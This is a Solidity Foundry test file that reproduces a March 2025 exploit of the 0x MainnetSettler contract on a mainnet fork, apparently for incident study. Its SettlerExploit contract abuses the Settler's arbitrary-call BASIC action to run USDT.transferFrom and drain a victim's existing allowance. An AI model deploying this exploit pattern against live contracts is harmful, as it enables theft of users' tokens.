src/test/2025-03/ZeroExSettler_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 3,008 USDT
8// Attacker : 0xc58a769e3089792670dff22ab85a11983816323b
9// Attack Contract : 0x447cd3a83134941523e7c0676f80e4e99bab28ab
10// Vulnerable Contract : 0x0d0e364aa7852291883c162b22d6d81f6355428f
11// Attack Tx : https://etherscan.io/tx/0x4e2f5bccc5d428c39cd93c64dcd2502d5cf05fb30892c753475155d498ef5887
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x0d0e364aa7852291883c162b22d6d81f6355428f#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/599
18//
19// The 0x MainnetSettler BASIC action lets the caller choose the pool target and
20// calldata. The attacker targeted USDT itself and made the Settler call
21// USDT.transferFrom(victim, attacker, amount). Because the victim had a large
22// pre-existing USDT allowance to the Settler, the Settler acted as the spender
23// and transferred the victim balance to the attacker.
24 
25address constant ATTACKER = 0xC58A769E3089792670DFf22aB85A11983816323b;
26address constant HISTORICAL_ATTACK_CONTRACT = 0x447cD3A83134941523e7c0676f80e4e99bAb28ab;
27address constant MAINNET_SETTLER = 0x0d0E364aa7852291883C162B22D6D81f6355428F;
28address constant USDT_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
29address constant USDT_ALLOWANCE_VICTIM = 0x4D387992614Ff184fb587D590b76C00c48057b4b;
30 
31uint256 constant STOLEN_USDT_AMOUNT = 3_008_000_000;
32bytes4 constant BASIC_ACTION_SELECTOR = 0x38c9c147;
33bytes32 constant ZID_AND_AFFILIATE = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;
34 
35interface IMainnetSettler {
36    struct AllowedSlippage {
37        address recipient;
38        address buyToken;
39        uint256 minAmountOut;
40    }
41 
42    function execute(
43        AllowedSlippage calldata slippage,
44        bytes[] calldata actions,
45        bytes32 zidAndAffiliate
46    ) external payable returns (bool);
47}
48 
49contract ContractTest is BaseTestWithBalanceLog {
50    IERC20 private constant usdt = IERC20(USDT_TOKEN);
51 
52    function setUp() public {
53        uint256 forkBlock = 22_022_764;
54        vm.createSelectFork("mainnet", forkBlock);
55 
56        fundingToken = USDT_TOKEN;
57        attacker = ATTACKER;
58 
59        vm.label(ATTACKER, "Attacker");
60        vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
61        vm.label(MAINNET_SETTLER, "0x MainnetSettler");
62        vm.label(USDT_TOKEN, "USDT");
63        vm.label(USDT_ALLOWANCE_VICTIM, "USDT allowance victim");
64    }
65 
66    function testExploit() public balanceLog {
67        uint256 attackerUsdtBefore = usdt.balanceOf(ATTACKER);
68        uint256 victimUsdtBefore = usdt.balanceOf(USDT_ALLOWANCE_VICTIM);
69        uint256 victimAllowance = usdt.allowance(USDT_ALLOWANCE_VICTIM, MAINNET_SETTLER);
70 
71        assertEq(victimUsdtBefore, STOLEN_USDT_AMOUNT);
72        assertGt(victimAllowance, STOLEN_USDT_AMOUNT);
73 
74        SettlerExploit exploit = new SettlerExploit();
75        exploit.attack();
76 
77        assertEq(victimUsdtBefore - usdt.balanceOf(USDT_ALLOWANCE_VICTIM), STOLEN_USDT_AMOUNT);
78        assertEq(usdt.balanceOf(ATTACKER) - attackerUsdtBefore, STOLEN_USDT_AMOUNT);
79    }
80}
81 
82contract SettlerExploit {
83    function attack() external {
84        bytes memory transferCall = abi.encodeWithSelector(
85            IERC20.transferFrom.selector,
86            USDT_ALLOWANCE_VICTIM,
87            ATTACKER,
88            STOLEN_USDT_AMOUNT
89        );
90 
91        bytes[] memory actions = new bytes[](1);
92        actions[0] = abi.encodeWithSelector(
93            BASIC_ACTION_SELECTOR,
94            address(0),
95            uint256(10_000),
96            USDT_TOKEN,
97            uint256(0),
98            transferCall
99        );
100 
101        IMainnetSettler.AllowedSlippage memory slippage = IMainnetSettler.AllowedSlippage({
102            recipient: address(0),
103            buyToken: address(0),
104            minAmountOut: 0
105        });
106 
107        IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, ZID_AND_AFFILIATE);
108    }
109}